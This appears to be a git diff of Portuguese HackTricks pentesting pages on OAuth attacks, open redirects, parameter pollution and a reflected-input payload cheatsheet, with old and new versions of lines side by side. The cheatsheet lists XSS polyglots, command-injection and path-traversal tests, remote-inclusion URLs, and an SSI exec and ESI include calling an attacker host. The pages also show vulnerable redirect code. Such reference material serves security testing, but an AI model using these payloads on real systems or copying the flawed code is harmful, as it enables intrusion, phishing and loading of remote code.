Nas implementações do OAuth, o uso indevido ou omissão do **parâmetro `state`** pode aumentar significativamente o risco de ataques de **Cross-Site Request Forgery (CSRF)**. Essa vulnerabilidade surge quando o parâmetro `state` é **não utilizado, usado como um valor estático ou não validado corretamente**, permitindo que os atacantes ignorem as proteções contra CSRF.
Nas implementações do OAuth, o uso indevido ou omissão do **parâmetro `state`** pode aumentar significativamente o risco de ataques de **Cross-Site Request Forgery (CSRF)**. Essa vulnerabilidade surge quando o parâmetro `state` não é usado, é usado como um valor estático ou não é validado corretamente, permitindo que os atacantes ignorem as proteções contra CSRF.
Os atacantes podem explorar isso interceptando o processo de autorização para vincular sua conta à conta de uma vítima, levando a possíveis **tomadas de controle de conta**. Isso é especialmente crítico em aplicações onde o OAuth é usado para **fins de autenticação**.
@ -101,9 +101,9 @@ O tratamento adequado e a validação do **parâmetro `state`** são cruciais pa
### Divulgação de Segredos <a href="#e177" id="e177"></a>
Identificar e proteger parâmetros secretos do OAuth é crucial. Enquanto o **`client_id`** pode ser divulgado com segurança, revelar o **`client_secret`** representa riscos significativos. Se o `client_secret` for comprometido, os atacantes podem explorar a identidade e a confiança da aplicação para **roubar `access_tokens`** e informações privadas.
Identificar e proteger os parâmetros secretos do OAuth é crucial. Enquanto o **`client_id`** pode ser divulgado com segurança, revelar o **`client_secret`** apresenta riscos significativos. Se o `client_secret` for comprometido, os atacantes podem explorar a identidade e a confiança da aplicação para **roubar `access_tokens`** e informações privadas.
Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a troca do `code` de autorização por um `access_token` no lado do cliente em vez do lado do servidor. Esse erro resulta na exposição do `client_secret`, permitindo que os atacantes gerem `access_tokens` sob a aparência da aplicação. Além disso, por meio de engenharia social, os atacantes podem escalar privilégios adicionando escopos adicionais à autorização do OAuth, explorando ainda mais o status confiável da aplicação.
Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a troca do `code` de autorização por um `access_token` no lado do cliente em vez do lado do servidor. Esse erro leva à exposição do `client_secret`, permitindo que os atacantes gerem `access_tokens` sob a aparência da aplicação. Além disso, por meio de engenharia social, os atacantes podem escalar privilégios adicionando escopos adicionais à autorização do OAuth, explorando ainda mais o status confiável da aplicação.
### Bruteforce do Client Secret
@ -120,7 +120,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Cabeçalho Referer vazando Código + Estado
Uma vez que o cliente tenha o **código e estado**, se estiver **refletido dentro do cabeçalho Referer** ao navegar para uma página diferente, então está vulnerável.
Uma vez que o cliente tenha o **código e estado**, se ele estiver **refletido dentro do cabeçalho Referer** ao navegar para uma página diferente, então está vulnerável.
### Token de Acesso Armazenado no Histórico do Navegador
@ -132,11 +132,11 @@ O **código de autorização deve existir apenas por algum tempo para limitar a
### Token de Autorização/Atualização não vinculado ao cliente
Se você conseguir obter o **código de autorização e usá-lo com um cliente diferente, então pode assumir o controle de outras contas**.
Se você conseguir obter o **código de autorização e usá-lo com um cliente diferente, então você pode assumir o controle de outras contas**.
### Caminhos Felizes, XSS, Iframes e Mensagens Post para vazar códigos e valores de estado
**[Confira este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
**[Verifique este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
@ -164,7 +164,7 @@ Como [**mencionado neste artigo**](https://salt.security/blog/oh-auth-abusing-oa
Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e fazer login com o Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faz login com o Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário fornecido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token de usuário da vítima**.
{% hint style="danger" %}
Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir o controle da conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido para o ID de seu aplicativo.
Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir o controle da conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido ao ID de seu aplicativo.
{% endhint %}
### Dois links e cookie <a href="#bda5" id="bda5"></a>
@ -182,37 +182,14 @@ O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas
**Pontos-chave:**
- O **Registro Dinâmico de Clientes** geralmente é mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
- Este recurso segue as especificações estabelecidas no **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis ao SSRF.
- Este recurso segue as especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis ao SSRF.
- O processo de registro pode inadvertidamente expor servidores ao SSRF de várias maneiras:
- **`logo_uri`**: Um URL para o logotipo do aplicativo cliente que pode ser buscado pelo servidor, desencadeando SSRF ou levando a XSS se o URL for manipulado de forma inadequada.
- **`logo_uri`**: Um URL para o logotipo do aplicativo cliente que pode ser buscado pelo servidor, desencadeando SSRF ou levando a XSS se o URL for manipulado incorretamente.
- **`jwks_uri`**: Um URL para o documento JWK do cliente, que se for maliciosamente elaborado, pode fazer com que o servidor faça solicitações de saída para um servidor controlado pelo atacante.
- **`sector_identifier_uri`**: Faz referência a um array JSON de `redirect_uris`, que o servidor pode buscar, criando uma oportunidade de SSRF.
- **`request_uris`**: Lista URIs de solicitação permitidos para o cliente, que podem ser explorados se o servidor buscar esses URIs no início do processo de autorização.
**Estratégia de Exploração:**
- O SSRF pode ser acionado registrando um novo cliente com URLs maliciosos em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` controlado pelo atacante pré-registrado pode facilitar o SSRF durante a fase de autorização.
## Condições de corrida de provedores OAuth
Se a plataforma que você está testando for um provedor OAuth, [**leia isso para testar possíveis Condições de Corrida**](race-condition.md).
## Referências
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
- SSRF pode ser acionado registrando um novo cliente com URLs maliciosos em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` pré-registrado controlado pelo atacante pode facilitar o SSRF durante a fase de autorização.

View file

@ -7,8 +7,8 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -65,8 +65,6 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
# Redirecionamento Aberto ao carregar arquivos svg
Quando um aplicativo da web permite o upload de arquivos SVG, pode haver uma vulnerabilidade de redirecionamento aberto. Isso ocorre quando um invasor envia um link malicioso contendo um URL de redirecionamento para um arquivo SVG. Quando um usuário clica no link e o arquivo SVG é carregado, o usuário pode ser redirecionado para um site malicioso sem o seu consentimento. Isso pode ser explorado para realizar ataques de phishing ou redirecionar os usuários para sites de malware.
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -158,6 +156,24 @@ ReturnUrl=https://c1h2e1.github.io
response.redirect("~/mysafe-subdomain/login.aspx")
```
### Java
#### Redirecionamento Aberto
O redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para uma URL fornecida como um parâmetro sem validação adequada. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
##### Exemplo
```java
response.sendRedirect(request.getParameter("redirect_url"));
```
Neste exemplo, o aplicativo redireciona o usuário para a URL fornecida no parâmetro "redirect_url" sem verificar se a URL é confiável. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, como:
```
http://www.example.com/login?redirect_url=http://www.attacker.com
```
Para evitar o redirecionamento aberto, sempre valide e filtre as URLs de redirecionamento e evite redirecionar para URLs fornecidas pelos usuários.
```bash
response.redirect("http://mysafedomain.com");
```
@ -165,7 +181,7 @@ response.redirect("http://mysafedomain.com");
#### Redirecionamento Aberto
Um redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para um URL fornecido como um parâmetro sem validação adequada. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
Um redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para um URL especificado na solicitação sem validar ou sanitizar adequadamente o URL fornecido. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
##### Exemplo
@ -176,13 +192,17 @@ header('Location: ' . $redirect_url);
?>
```
Neste exemplo, o código PHP simplesmente redireciona o usuário para o URL fornecido no parâmetro `url` sem qualquer verificação. Isso pode ser explorado por um atacante da seguinte maneira:
Neste exemplo, o código PHP simplesmente redireciona o usuário para o URL fornecido no parâmetro `url` da solicitação GET, sem qualquer validação. Isso pode ser explorado por um atacante da seguinte maneira:
```
http://example.com/open-redirect.php?url=http://malicious-site.com
```
Ao acessar o URL acima, o usuário será redirecionado para `http://malicious-site.com`, que pode ser um site malicioso projetado para roubar informações confidenciais.
Quando a vítima acessa o URL acima, ela será redirecionada para `http://malicious-site.com`, que pode ser um site de phishing ou outro site malicioso.
##### Mitigação
Para mitigar o risco de redirecionamento aberto, é importante validar e sanitizar todos os URLs fornecidos pelos usuários antes de redirecioná-los. Isso pode ser feito verificando se o URL fornecido pertence ao domínio esperado ou usando uma lista branca de URLs permitidos. Além disso, é recomendável evitar redirecionamentos baseados em entradas não confiáveis do usuário.
```php
<?php
/* browser redirections*/
@ -208,10 +228,10 @@ exit;
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -48,9 +48,9 @@ Este cenário destaca uma falha crítica no backend da aplicação, que processo
**Caso de Manipulação de Chave de API:**
- **Cenário:** Uma aplicação permite que os usuários atualizem sua chave de API por meio de uma página de configurações de perfil.
- **Vetor de Ataque:** Um atacante descobre que, ao adicionar um parâmetro `api_key` adicional à solicitação POST, pode manipular o resultado da função de atualização da chave de API.
- **Vetor de Ataque:** Um atacante descobre que, ao adicionar um parâmetro `api_key` adicional à solicitação POST, eles podem manipular o resultado da função de atualização da chave de API.
- **Técnica:** Utilizando uma ferramenta como Burp Suite, o atacante cria uma solicitação que inclui dois parâmetros `api_key`: um legítimo e um malicioso. O servidor, processando apenas a última ocorrência, atualiza a chave de API para o valor fornecido pelo atacante.
- **Resultado:** O atacante obtém controle sobre a funcionalidade da API da vítima, potencialmente acessando ou modificando dados privados sem autorização.
- **Resultado:** O atacante obtém controle sobre a funcionalidade da API da vítima, potencialmente acessando ou modificando dados privados de forma não autorizada.
Este exemplo destaca ainda mais a necessidade de manipulação segura de parâmetros, especialmente em recursos tão críticos quanto o gerenciamento de chaves de API.
@ -61,20 +61,20 @@ A forma como as tecnologias web lidam com parâmetros HTTP duplicados varia, afe
- **Flask:** Adota o valor do primeiro parâmetro encontrado, como `a=1` em uma string de consulta `a=1&a=2`, priorizando a instância inicial sobre duplicatas subsequentes.
- **PHP (no Servidor HTTP Apache):** Contrariamente, prioriza o valor do último parâmetro, optando por `a=2` no exemplo dado. Esse comportamento pode facilitar inadvertidamente exploits de HPP ao honrar o parâmetro manipulado do atacante sobre o original.
# Referências
## Referências
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -37,7 +37,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
O objetivo destes PoCs e Polygloths é fornecer ao testador um rápido **resumo** das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
O objetivo destes PoCs e Polygloths é fornecer ao testador um **resumo rápido** das vulnerabilidades que ele pode explorar se a **entrada dele estiver de alguma forma refletida na resposta**.
{% hint style="warning" %}
Esta **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
Esta **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
{% endhint %}
{% hint style="danger" %}
Você **não encontrará injeções dependentes do Content-Type como XXE**, pois geralmente você tentará essas por conta própria se encontrar uma requisição enviando dados em xml. Você **também não encontrará injeções em banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados de backend.
Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você mesmo tentará se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende muito da tecnologia e estrutura do banco de dados backend.
{% endhint %}
## Lista de Polygloths
@ -64,7 +64,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [Injeção de Template no Lado do Cliente](../client-side-template-injection-csti.md)
## [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md)
### Testes Básicos
```
@ -75,7 +75,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```bash
{{7*7}}[7*7]
```
## [Injeção de Comando](../command-injection.md)
## [Injeção de Comandos](../command-injection.md)
### Testes Básicos
```bash
@ -123,7 +123,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Redirecionamento Aberto](../open-redirect.md) / [Falsificação de Solicitação do Lado do Servidor](../ssrf-server-side-request-forgery/)
### Testes Básicos
```bash
@ -141,7 +141,7 @@ javascript:alert(1)
([a-zA-Z]+)*$
((a+)+)+$
```
## [Inclusão Lateral do Servidor/Inclusão Lateral de Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Inclusão do Lado do Servidor/Inclusão do Lado da Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
### Testes Básicos
```markup
@ -154,11 +154,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Solicitação de Servidor do Lado do Servidor](../ssrf-server-side-request-forgery/)
Os mesmos testes usados para Open Redirect podem ser usados aqui.
Os mesmos testes usados para Redirecionamento Aberto podem ser usados aqui.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
## [Injeção de Modelo do Lado do Servidor](../ssti-server-side-template-injection/)
### Testes Básicos
```markup
@ -173,7 +173,7 @@ ${{7*7}}
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [Injeção Lateral no Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [Injeção de Código no Lado do Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Testes Básicos
```markup
@ -222,14 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
